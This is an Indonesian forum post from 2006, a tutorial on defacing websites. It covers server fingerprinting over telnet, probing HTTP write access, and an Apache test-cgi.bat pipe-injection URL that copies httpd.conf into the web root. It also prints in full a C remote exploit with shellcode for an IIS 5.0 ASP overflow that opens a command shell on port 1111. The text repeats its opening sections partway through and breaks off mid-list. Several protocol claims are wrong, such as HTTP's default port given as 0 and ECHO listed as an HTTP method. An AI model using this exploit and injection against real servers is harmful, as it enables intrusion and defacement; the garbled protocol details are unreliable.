dede23
27-07-2006, 01:06 PM
Mendeface website merupakan salah satu topik yang paling banyak dibahas di dunia IT. Para Cracker, Script Kiddies dan terkadang pula para hacker membuat jalan khusus mengenai cara mendeface website. Dalam kebanyakan kasus website yang terdeface orang lain untuk menyampaikan pesan kepada publik, sekedar iseng atau beberapa alasan lainnya... yang tidak disebutkan disini!!
Dalam artikel ini saya akan menjelaskan seluk beluk pendeface-an website. Umumnya website yang terdeface melalui eksploitasi celah keamanan pada webserver dan memperolehroot shell atau injeksi malicious code terhadap halaman target yang terdapat pada server tersebut. Dalam manual ini saya akan menggambarkan metode eksploitasi celah kamanan web server Microsoft IIS. Walaupun Apache merupakan webserver populer lain yang tergolong lebih secure. Saya tidak mengetahui banyak mengenai deface website yang terhosting di server Apache. Namun saya akan mencoba menuliskan penjelasan teoritis dari server Apache.
Artikel ini dibagi menjadi beberapa bagian pokok, yaitu:
- Software pendeteksi web server
- Analisa konfigurasi web server
- Pemeriksaan celah keamanan
- Coding exploit
- Mengeksploitasi celah keamanan untuk membobol server
- Injeksi malicious code melalui URL
- Mengamankan diri anda sendiri
- Kesimpulan
DETEKSI IDENTITAS WEB SERVER
Mendeface website bukanlah keseluruhan aktifitas hacking. Tidak diperlukan otak seorang hacker, atau hacker yang jenius. Yang diperlukan hanyalah mencari exploit, sejumlah keterampilan pemrograman yang memadai dan waktu luang untuk trial and error. Pada dasarkanya setiap software memiliki beberapa celah keamanan (kesalahan pemrograman) mengeksploitasi yang memungkinkan seseroang mendapatkan akses root (administrator privilege) ke sistem yang menjalankan software tertentu. Dengan menggunakan konsep ini website itu terdeface. Anda dapat menemukan banyak celah keamanan yang terkini melalui website seperti:
http://www.securityfocus.com , http://www.packetstormsecurity.com , http://www.securiteam.com dsb. beberapa situs bahkan memberikan code exploitnya. Namun sebelum anda mencari exploit atau celah keamanan pada situs tersebut, anda perlu mengetahui software server yang dijalankan oleh website sasaran. Setelah mengetahui software server tersebut, selanjutnya anda harus mencari celah keamanan dan exploit yang cocok pada software tersebut.
Pendeteksi webserver sangat mudah digunakan dan metodenya jelas. Pada dasarnya apa yang terjadi saat suatu request dikirimkan ke webserver yang terpaksa membuat pesan error 400, atau 200 OK message, 404 forbidden error message pada raw mode (melalui telnet) kemudian software server tersebut merespon dengan pesan yang sesuai yang berisikan software webserver berikut info versi. Jadi apa yang kita perlu lakukan hanyalah telnet terhadap port 80 (port default untuk web server) dari web server dan mengirimkan beberapa request ke server tersebut yang merespon dengan 400 bad request error message atau 200 OK message yang berisikan informasi versi dan software server tersebut.
Microsoft Telnet>telnet 127.0.0.1 80
GET \ HTTP/1.1\r\n\r\n
Host:server-software
<enter>
<enter>
<enter>
HTTP/1.1 403 Forbidden
Date: Sat, 10 Aug 2002 16:55:41 GMT
Server: Apache/1.3.22 (Win32)
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>403 Forbidd
en</TITLE>
</HEAD><BODY>
<H1>Forbidden</H1>
You don't have permission to access /
on
this server.<P>
<HR>
<ADDRESS>Apache/1.3.22 Server at www.apache.org Port 80</ADD
RESS>
</BODY></HTML>
Connection to host lost.
OK, saya harap anda mendapatkannya. Sederhana saja. Ringkasnya apa yang anda perlu lakukan hanyalah melakukan telnet ke port 80 dari webste target anda (anda bahkan bisa melakukan telnet ke nama domain tersebut, misalnya telnet hackersclub.up.to 80) ketik pada beberapa request seperti GET \ HTTP/1.1\r\n\r\n kemudian ketik sesuatu seperti host: server-software kemudian tekan <enter> cuman beberapa saat hingga anda mendapatkan respon server tersebut. Server tersebut akan merespon dengan informasi software tersebut.
ANALISA WEB SERVER
Pada dasarnya default instalasi IIS (Internet Information Service) berisikan website root pada c:\Inetpub\wwwroot. Dimana seluruh direktori tersebut ada dalam direktori c:\inetpub (dalam kasus IIS dan c:\apache group\apache\htdocs untuk versi win32 dari Apache). Seluruh folder didalamnya dianggap sebagai Direktori Virtual. Dalam suatu webserver masing-masing direktori virtual tersedia dengan jenis permisi yang berbeda. Permisi seperti Read, Write, Execurtion of Scripts, Execution of Executable seperti .dll dan halaman server side seperti ASP, cgi dsb., Directory Browsing.
Disini saya akan menggambarkan metode analisa direktori permisi dari direktori virtual yang terletak dalam suatu web server.
Read Access: Kapanpun anda mengunjungi suatu website dengan menulis nama domain website pada web browser anda, maka yang sebenarnya terjadi adalah bahwa anda terhubung ke port 0 (default port HTTP) dari IP address yang terasosiasi dengan nama domain. Katakanlah IP address dari Yahoo.com adalah 203.197.102.78. Jadi saat anda mengeti http://www.yahoo.com pada address bar web browser anda maka yang terjadi adalah URL (Uniform Resource Locator) dinyatakan ke http://203.197.102.78:80/index.html (atau index.htm, index.asp, default.asp, index.jsp, default.jsp, index.php, default.php atau apapun yang terkonfigurasi sebagai halaman index pada webserver tersebut). Sekarang ketik URL tersebut, maka anda akan memperoleh webiste yahoo dimana anda dapat membaca isinya dari wwwroot. Jika berisikan file executable seperti ASP, JSP atau PHP, maka halaman server side dieksekusi dan membuat halaman HTML pada web browser (client) oleh IIS (server) atau webserver dinamis lainnya. Sekarang saat anda membaca suatu dokumen dari suatudirektori yang diberikan meka hal ini menunjukkan bahwa direktori tersbut dapat dibaca. Pada dasarnya direktori berisikan file database yang dilindungi dengan read access demi keamanan.
Catatan: Jika anda seorang newbie sejati yang tidak mengetahui tentang IP address maka bacalah artikel mengenai notasi pengalamatan IP agar mendapatkan gambaran yang jelas.
Write Access: Sebagaimana yang saya sarankan, anggota dari website saya mengarah melalui RFC (request for comment) pada protokol penting seperti HTTP (Hyper Text Transfer Protocol), TELNET, FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol) dsb, kesemuanya yang membaca RFC pada HTTP secara definitif akan mengetahui maksud dari Write Access pada suatu web server. Untuk itu siapapun yang tidak memilikinya datang melalui HTTP RFC, saya berikan gambaran singkat mengenai protokol HTTP.
HTTP merupakan bagian dari TCP/IP stack (koreksi saya jika salah). Yang dirancang dan dibuat dengan maksud berbagi file melalui internet. Sebagaimana yang dinyatakan dari nama HTTP (Hyper Text Transfer Protocol). Pada awalnya file akan diupload dan didownload dari server tersebut sesuai dengan protokol HTTP tanpa diperlukan jenis otentikasi apapun. Segera setelah dinyatakan bahwa jenis arsitektur ini merupakan pelanggaran keamanan nyata yang menyebabkan siapapun yang "setengah cerdas" dapat menulis write access ke server tersentu. Sekarang apa yang telah dilakukan adalah web server tersebut dirancang dan dikonfigurasi sedemikian rupa untuk memberikan write access hanya kepada direktori virtual terpilih.
Cobalah melakukan telnet ke suatu website dan bermain-main dengan mempraktekkan informasi megnenai server tersebut dan perilakunya. Berikut ini daftar perintah yang umum digunakan yang didukung oleh web server, sesuai ketentuan RFC dari HTTP.
GET : digunakan untukmengirim request untuk read access ke suatu file yang terletak pada server melalui web browser (client)
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
GET /index.html HTTP/1.1\r\n\r\n
Output:
Kode sumber HTML dari halaman index.html yang terletak pada server akan dikembalikan atau jika di request pada halaman server side seperti ASP atau JSP... maka secara dinamis menciptakan dan membuat halaman HTML.
PUT : digunakan untuk membuat suatu file pada server tersebut... membutuhkan write access pada direktori virtual tertentu dimana file tersebut dibuat.
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
PUT /analyzing.txt HTTP/1.1\r\n\r\n
Output :
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error...sebagaimana halnya bahwa wwwroot tidak akan pernah memiliki write access..
DEL : untuk mengahpus suatu halaman pada webserver tersebut... memerlukan write access pada direktori virtual tertentu dimana file tersebut dihapus.
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
del /index.html HTTP/1.1\r\n\r\n
Output :
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error.. yang menyatakan bahwa wwwroot tidak dapat menggunakan write access..
ECHO : Printing tool.. sama halnya dengan file Batch pada DOS.. Outputnya dapat diarahkan..
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
ECHO defaced by Abhisek Datta >> /index.html HTTP/1.1\r\n\r\n
PROPFIND : Digunakan sebagai sebuah request untuk browsing direktori... (pada IIS... terdapat sebuah administrative tool yang digunakan untuk menganalisa web server)
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
PROPFIND / HTTP/1.1
Host:iis-server
Content-Length:0
Output :
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error... yang menyatakan bahwa wwwroot tidak menggunakan write access..
Untuk menguji permisi write access terhadap direktori dalam Microsoft IIS dengan cara yang sedikit rumit. Ikuti metode berikut ini:
Untuk menguji apakah permisi write dalam keadaan 'enabled' terhadap telnet anonymous web client menjadi kedalam port web server biasanya port TCP 80 dan buatlah request berikut ini:
PUT /scripts/abhisek.asp HTTP/1.1
Host: iis-server
Content-Length: 10 <enter><enter>
Pada bagian ini server akan meresponnya dengan pesan 100 Continue
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
Saat menerima ini ketiklah 10 huruf
AAAAAAAAAA
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
Jika server meresponnya dengan respon 201 Created maka permisi Write dalam keadaan 'enabled'
Execution Access : Halaman Server side (ASP, JSP, PHP) ,dll (dynamic link libraries) etc yang seringkali digunakan saat ini pada website berbasiskan database yang secara dinamis membuat HTML dan mengirimkannya ke browser. Halaman server side ini dan file executable lainnya termasuk .dll dan .exe memerlukan execution privilege pada direktori virtual ditempat mereka berada. Umumnya seluruh file .dll, .asp, dan .exe memerlukan execution privilege yang berada dalam direktori virtual tunggal.
Directory Browsing : Seringkali web server (untuk lebih spesifik... direktori virtual dari web server) terkonfigurasi sedemikian rupa untuk menyediakan akses browsing direktori untuk seluruh client atau client khusus melalui otentikasi yang sesuai. Pada dasarnya browsing direktori dimaksudkan bahwa anda dapat menyusun daftar file dan folder yang ada dalam direktori virtual yang anda buat seakan-akan itu adalah computer anda. Untuk alasan keamanan banyak website mematikan fitur ini. Dengan exploit anda bisa mendapatkan Directory Listing dari suatu direktori virtual.
Ekploitasi terhadap Directory Listing pada Apache (win32) :
Satu dari sekian banyak Apache web server (win32) 2.1.x (saya tidak yakin mengenai versi) berisi default file .bat yang bernama test-cgi.bat dalam direktori cgi-bin. Yang sebenarnya tersedia juga agar administrator sistem dapat menguji privilege dari direktori cgi-bin yang berisikan seluruh script cgi dan perl. Tentunya direktori virtual cgi-bin memiliki execution permission.
Keadaan ini dieksploitasi untuk serangan. Pada dasarnya saat suatu file .bat pada Apache web server (win32) disebut Execution DOS (Disk Operating System) Shell yang dapat dieksekusi. Sekarang kita dapat menggunakan karakter | (pipe) selama memanggil file batch untuk mengeksekusi perintah pada remote server. Serangan URL akan terlihat seperti dibawah ini :
http://www.target.com/cgi-bin/test-cgi.bat?|copy+..\conf\httpd.conf+..\htdocs\httpd.c onf
Jadi dengan serangan URL ini apa yang telah saya lakukan adalah mengcopy file httpd.conf dari direktori conf yang pastinya memiliki read access terhadap Apache web root! seperti folder virtual htdocs. Sekarang kita bisa dengan mudah mendownload file httpd.conf menggunakan URL http://www.target.com/httpd.conf yang sekarang terletak pada Apache web root.
Catatan: Untuk hal ini bila anda tidak mengenal Apache dan tidak mengetahui apakah file httpd.conf tersebut? OK, dalam Apache anda harus mengonfigurasi seluruh web server menggunakan perintah dan script yang berada dalam file httpd.conf dalam folder c:\apache group\apache\conf dari instalasi default apache pada sistem windows umumnya. File ini berisikan seluruh setting web server sasaran dan dengan beberapa cara jika kita dapat mengatur penanganan file ini maka kita mendapatkan informasi yang jelas mengenai seluruh setting dari web server termasuk lokasi log file, directory permission, write access, authentication level dsb.
MEMERIKSA VULNERABILITY YANG ADA
Kebanyakan website yang terdeface dan dihack menggunakan vulnerability yang berkenaan dengan software server atau sistem operasi yang dijalankan oleh software server tersebut.
Banyak dari mereka yang disebut hacker mendeface website berdasarkan vulnerability yang ditemukan oleh orang-orang yang semestinya disebut "Hacker".
Ada baiknya anda harus mengetahui apakah vulnerability itu? vulnerability sebenarnya adalah cacat yang ada pada arsitektur software yang memungkinkan seorang hacker atau malicious cracker memiliki kendali lebih jauh pada sistem atau membuat kewenangan perintah sistem terhadap server. Ada beberapa vulnerability yang terdapat pada seluruh software. Pada dasarnya, dahulu saya mendengar bahwa para hacker dimanfaatkan untuk menemukan cacat dan vulnerability pada software mereka sendiri. Tapi sekarang hanya beberapa orang yang masih melakukannya. Ada banyak situs yang bagus seperti:
http://www.securityfocus.com
http://www.packetstorm.org
http://www.guininski.com
http://www.insecure.org
http://www.securiteam.com
http://www.slashdot.org
http://www.technotronic.com
Situs-situs ini berisikan lebih dari cukup tentang vulnerability mutakhir yang akan membantu anda memulai sesuatu. Bahkan jika anda berpengalaman, saya yakin anda akan mendapatkan bantuan dari situs ini.
CODING EXPLOIT :
Katakanlah, anda menetapkan melakukan hacking website http://www.anisurrahman.net (beh!! Anisur akan menendang bokong saya jika dia membaca artikel ini). Menggunakan metode yang dijelaskan diatas, anda dapat dengan mudah menemukan bahwa website tersebut dijalankan pada software server Microsoft IIS 5.00. Sekarang waktunya untuk mencari exploit (saya memperkirakan bahwa anda bukanlah seorang hackeryang dapat menemukan vulnerability sendiri.. jika tidak.. anda tidak perlu membaca artikel ini). bahkan jika anda menemukan beberapa overflow atau malicious vulnerability pada software web server dari situs yang disebutkan diatas anda harus menulis program (dengan bahasa C atau Perl) untuk mengimplementasikan exploit terhadap vulnerability yang ada. Untuk hal ini anda harus memiliki pengetahuan yang baik mengenai latar belakang pemrograman socket. Jika anda tidak dapat menulis exploit anda sendiri anda bisa mendownload code exploit yang ditulis dalam bahasa seperti C, Perl, JAVA (sangat jarang). Tapi jika anda mendownload exploit yang memungkinkan anda mendapatkan root shell pada web server target yang ditulis dalam bahasa C, maka saat melakukan kompilasi, saya yakin anda akan menemukan banyak error karena syntak dan fungsi yang sedikit berbeda dari satu compiler dengan compiler lainnya. Sekarang anda akan menyatakan perlunya penguasaan pemrograman.
Berikut ini daftar dari vulnerability yang ada disertai code exploit.
1. Exploit ASP overflow ini akan membuka port 1111 dan membuat cmd.exe. Seharusnya tertulis abhwa setiap kali anda menjalankan exploit ini dan suatu pesan akan muncul bahwa exploit ini bekerja dengan sempurna. Bagaimanapun, tidaklah dimaksudkan bahwa anda bisa mendapatkan akses ke host target, karena pada beberapa kejadian ada kotak pesan yang terlihat pada terminal sasaran yang memberitahukan bahwa telah terjadi pelanggaran akses (Acess Violation).
/* Windows 2000 Server Exploit By CHINANSL Security Team.
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
Warning:THIS PROGRAM WILL ONLY TEST.
CHINANSL Technology CO.,LTD http://www.chinansl.com
keji@chinansl.com
use MS VC++ to compile this piece of code
*/
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")
int main(int argc, char* argv[])
{
if(argc != 4)
{
printf("%s ip port aspfilepath\n\n",argv[0]);
printf(" ie. %s 127.0.0.1 80 /iisstart.asp\n",argv[0]);
puts(" programed by keji@chinansl.com");
return 0;
}
DWORD srcdata=0x01e2fb1c-4;//0x00457474;
file://address of SHELLCODE
DWORD jmpaddr=0x00457494; file://0x77ebf094;/ /0x01e6fcec; file://"\x1c\xfb\xe6\x01"; file://"\x0c\xfb\xe6\x01";
char* destIP=argv[1];
char* destFile=argv[3];
int webport=atoi(argv[2]);
char* pad="\xcc\xcc\xcc\xcc" "ADPA" "\x02\x02\x02\x02" "PADP"; file://16 bytes
WSADATA ws;
SOCKET s;
long result=0;
if(WSAStartup(0x0101,&ws) != 0)
{
puts("WSAStartup() error");
return -1;
}
struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(webport);
addr.sin_addr.s_addr=inet_addr(destIP);
s=socket(AF_INET,SOCK_STREAM,0);
if(s==-1)
{
puts("Socket create error");
return -1;
}
if(connect(s,(struct sockaddr *)&addr,sizeof(addr)) == -1)
{
puts("Cannot connect to the specified host");
return -1;
}
char buff[4096];
char* shellcode="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\x fc\x33\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x 65\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x 33\x32\x2e\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\x ab\x32\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x 53\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\x ff\x53\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\x fc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x 33\xf6\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\x be\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x 56\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\x fc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\x fc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\x fc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x 89\x45\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x 75\xf8\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\x ff\xd3\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x 13\xff\x75\xf8"
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x 89\x45\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x 8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\x c0\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\x c8\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x 01\x50\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x 45\xc4\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\x ff\x75\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x 89\x45\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x 9c\x50\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x 8d\x45\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\x b1\x44\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x 01\x01\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x 40\x89\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x 8d\x85\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x 80\x51\x53\xff"
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\x ff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\x ff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\x ff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\x ff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x 85\xc0\x74\x6d"
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\x ff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x 90\x90\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x 90\x90\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\x c0\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\x c0\x50\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\x b5\x30\xff\xff"
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\x b4\xff\x75\xc4"
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\x ff\xff\xff\x6a"
"\xff\xff\x95\x18\xff\xff\xff";
char* s1="POST ";// HTTP/1.1\r\n";
char* s2="Accept: */*\r\n";
char* s4="Content-Type: application/x-www-
form-urlencoded\r\n";
char* s5="Transfer-Encoding:
chunked\r\n\r\n";
char* sc="0\r\n\r\n\r\n";
char shellcodebuff[1024*8];
memset(shellcodebuff,0x90,sizeof
(shellcodebuff));
memcpy(&shellcodebuff[sizeof(shellcodebuff)-
strlen(shellcode)-1],shellcode,strlen(shellcode));
shellcodebuff[sizeof(shellcodebuff)-1] = 0;
char sendbuff[1024*16];
memset(sendbuff,0,1024*16);
sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost: %s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%s", s1,
destFile, shellcodebuff, s2, destIP, s4,s 5, pad/*,srcdata,jmpaddr*/, sc);
int sendlen=strlen(sendbuff);
*(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
*(DWORD *)strstr(sendbuff,"AAAA") = srcdata;
result=send(s,sendbuff,sendlen,0);
if(result == -1 )
{
puts("Send shellcode error!");
return -1;
}
memset(buff,0,4096);
result=recv(s,buff,sizeof(buff),0);
if(strstr(buff,"<html>") != NULL)
{
shutdown(s,0);
closesocket(s);
puts("Send shellcode error!Try again!");
return -1;
}
shutdown(s,0);
closesocket(s);
printf("\nUse <telnet %s 1111> to connect to the host\n",destIP);
puts("If you cannot connect to the host,try run this program again!");
return 0;
}
Dalam artikel ini saya akan menjelaskan seluk beluk pendeface-an website. Umumnya website yang terdeface melalui eksploitasi celah keamanan pada webserver dan memperolehroot shell atau injeksi malicious code terhadap halaman target yang terdapat pada server tersebut. Dalam manual ini saya akan menggambarkan metode eksploitasi celah kamanan web server Microsoft IIS. Walaupun Apache merupakan webserver populer lain yang tergolong lebih secure. Saya tidak mengetahui banyak mengenai deface website yang terhosting di server Apache. Namun saya akan mencoba menuliskan penjelasan teoritis dari server Apache.
Artikel ini dibagi menjadi beberapa bagian pokok, yaitu:
- Software pendeteksi web server
- Analisa konfigurasi web server
- Pemeriksaan celah keamanan
- Coding exploit
- Mengeksploitasi celah keamanan untuk membobol server
- Injeksi malicious code melalui URL
- Mengamankan diri anda sendiri
- Kesimpulan
DETEKSI IDENTITAS WEB SERVER
Mendeface website bukanlah keseluruhan aktifitas hacking. Tidak diperlukan otak seorang hacker, atau hacker yang jenius. Yang diperlukan hanyalah mencari exploit, sejumlah keterampilan pemrograman yang memadai dan waktu luang untuk trial and error. Pada dasarkanya setiap software memiliki beberapa celah keamanan (kesalahan pemrograman) mengeksploitasi yang memungkinkan seseroang mendapatkan akses root (administrator privilege) ke sistem yang menjalankan software tertentu. Dengan menggunakan konsep ini website itu terdeface. Anda dapat menemukan banyak celah keamanan yang terkini melalui website seperti:
http://www.securityfocus.com , http://www.packetstormsecurity.com , http://www.securiteam.com dsb. beberapa situs bahkan memberikan code exploitnya. Namun sebelum anda mencari exploit atau celah keamanan pada situs tersebut, anda perlu mengetahui software server yang dijalankan oleh website sasaran. Setelah mengetahui software server tersebut, selanjutnya anda harus mencari celah keamanan dan exploit yang cocok pada software tersebut.
Pendeteksi webserver sangat mudah digunakan dan metodenya jelas. Pada dasarnya apa yang terjadi saat suatu request dikirimkan ke webserver yang terpaksa membuat pesan error 400, atau 200 OK message, 404 forbidden error message pada raw mode (melalui telnet) kemudian software server tersebut merespon dengan pesan yang sesuai yang berisikan software webserver berikut info versi. Jadi apa yang kita perlu lakukan hanyalah telnet terhadap port 80 (port default untuk web server) dari web server dan mengirimkan beberapa request ke server tersebut yang merespon dengan 400 bad request error message atau 200 OK message yang berisikan informasi versi dan software server tersebut.
Microsoft Telnet>telnet 127.0.0.1 80
GET \ HTTP/1.1\r\n\r\n
Host:server-software
<enter>
<enter>
<enter>
HTTP/1.1 403 Forbidden
Date: Sat, 10 Aug 2002 16:55:41 GMT
Server: Apache/1.3.22 (Win32)
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>403 Forbidd
en</TITLE>
</HEAD><BODY>
<H1>Forbidden</H1>
You don't have permission to access /
on
this server.<P>
<HR>
<ADDRESS>Apache/1.3.22 Server at www.apache.org Port 80</ADD
RESS>
</BODY></HTML>
Connection to host lost.
OK, saya harap anda mendapatkannya. Sederhana saja. Ringkasnya apa yang anda perlu lakukan hanyalah melakukan telnet ke port 80 dari webste target anda (anda bahkan bisa melakukan telnet ke nama domain tersebut, misalnya telnet hackersclub.up.to 80) ketik pada beberapa request seperti GET \ HTTP/1.1\r\n\r\n kemudian ketik sesuatu seperti host: server-software kemudian tekan <enter> cuman beberapa saat hingga anda mendapatkan respon server tersebut. Server tersebut akan merespon dengan informasi software tersebut.
ANALISA WEB SERVER
Pada dasarnya default instalasi IIS (Internet Information Service) berisikan website root pada c:\Inetpub\wwwroot. Dimana seluruh direktori tersebut ada dalam direktori c:\inetpub (dalam kasus IIS dan c:\apache group\apache\htdocs untuk versi win32 dari Apache). Seluruh folder didalamnya dianggap sebagai Direktori Virtual. Dalam suatu webserver masing-masing direktori virtual tersedia dengan jenis permisi yang berbeda. Permisi seperti Read, Write, Execurtion of Scripts, Execution of Executable seperti .dll dan halaman server side seperti ASP, cgi dsb., Directory Browsing.
Disini saya akan menggambarkan metode analisa direktori permisi dari direktori virtual yang terletak dalam suatu web server.
Read Access: Kapanpun anda mengunjungi suatu website dengan menulis nama domain website pada web browser anda, maka yang sebenarnya terjadi adalah bahwa anda terhubung ke port 0 (default port HTTP) dari IP address yang terasosiasi dengan nama domain. Katakanlah IP address dari Yahoo.com adalah 203.197.102.78. Jadi saat anda mengeti http://www.yahoo.com pada address bar web browser anda maka yang terjadi adalah URL (Uniform Resource Locator) dinyatakan ke http://203.197.102.78:80/index.html (atau index.htm, index.asp, default.asp, index.jsp, default.jsp, index.php, default.php atau apapun yang terkonfigurasi sebagai halaman index pada webserver tersebut). Sekarang ketik URL tersebut, maka anda akan memperoleh webiste yahoo dimana anda dapat membaca isinya dari wwwroot. Jika berisikan file executable seperti ASP, JSP atau PHP, maka halaman server side dieksekusi dan membuat halaman HTML pada web browser (client) oleh IIS (server) atau webserver dinamis lainnya. Sekarang saat anda membaca suatu dokumen dari suatudirektori yang diberikan meka hal ini menunjukkan bahwa direktori tersbut dapat dibaca. Pada dasarnya direktori berisikan file database yang dilindungi dengan read access demi keamanan.
Catatan: Jika anda seorang newbie sejati yang tidak mengetahui tentang IP address maka bacalah artikel mengenai notasi pengalamatan IP agar mendapatkan gambaran yang jelas.
Write Access: Sebagaimana yang saya sarankan, anggota dari website saya mengarah melalui RFC (request for comment) pada protokol penting seperti HTTP (Hyper Text Transfer Protocol), TELNET, FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol) dsb, kesemuanya yang membaca RFC pada HTTP secara definitif akan mengetahui maksud dari Write Access pada suatu web server. Untuk itu siapapun yang tidak memilikinya datang melalui HTTP RFC, saya berikan gambaran singkat mengenai protokol HTTP.
HTTP merupakan bagian dari TCP/IP stack (koreksi saya jika salah). Yang dirancang dan dibuat dengan maksud berbagi file melalui internet. Sebagaimana yang dinyatakan dari nama HTTP (Hyper Text Transfer Protocol). Pada awalnya file akan diupload dan didownload dari server tersebut sesuai dengan protokol HTTP tanpa diperlukan jenis otentikasi apapun. Segera setelah dinyatakan bahwa jenis arsitektur ini merupakan pelanggaran keamanan nyata yang menyebabkan siapapun yang "setengah cerdas" dapat menulis write access ke server tersentu. Sekarang apa yang telah dilakukan adalah web server tersebut dirancang dan dikonfigurasi sedemikian rupa untuk memberikan write access hanya kepada direktori virtual terpilih.
Cobalah melakukan telnet ke suatu website dan bermain-main dengan mempraktekkan informasi megnenai server tersebut dan perilakunya. Berikut ini daftar perintah yang umum digunakan yang didukung oleh web server, sesuai ketentuan RFC dari HTTP.
GET : digunakan untukmengirim request untuk read access ke suatu file yang terletak pada server melalui web browser (client)
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
GET /index.html HTTP/1.1\r\n\r\n
Output:
